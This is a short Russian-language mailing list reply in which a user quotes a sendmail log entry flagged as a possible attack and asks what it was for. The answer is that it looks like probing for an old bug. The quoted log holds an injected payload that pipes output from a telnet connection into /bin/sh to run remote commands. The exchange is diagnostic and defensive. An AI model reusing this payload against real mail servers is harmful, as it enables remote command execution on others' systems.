Re: [apache-talk] Attack

["Maxim Penzin" <maxp@max.irk.ru>]

hi

>
> Простите, что совсем не в тему, но больше спросить сейчас не
> у  кого...  Меня  тут  злостно  пытались поломать, может кто
> объяснит, что имеено пытались добиться следующим:
>
> Apr 23 15:55:09 spide sendmail[6758]: NOQUEUE: POSSIBLE ATTACK from
d69.dial-up.cnt.ru: newline in string "is
> s^M Croot^M Mprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u^M Mlocal, P=/bin/sh,
F=lsDFMeu, A=sh -c $u^M R<"|/... Vul
> nerable | mail postmaster">^M R<"|( sleep 2 ; echo quit ) |telnet 0.0.0.0
5705 | sh >> /tmp/tel.o"
>

похоже на прощупывание давнего бага,


..maxp
         http://mxlab.com/maxp    uin:3861496    mailto:maxp@max.irk.ru




=============================================================================
=               Apache-Talk@lists.lexa.ru mailing list                      =
Mail "unsubscribe apache-talk" to majordomo@lists.lexa.ru if you want to quit.
=       Archive avaliable at http://www.lexa.ru/apache-talk                 =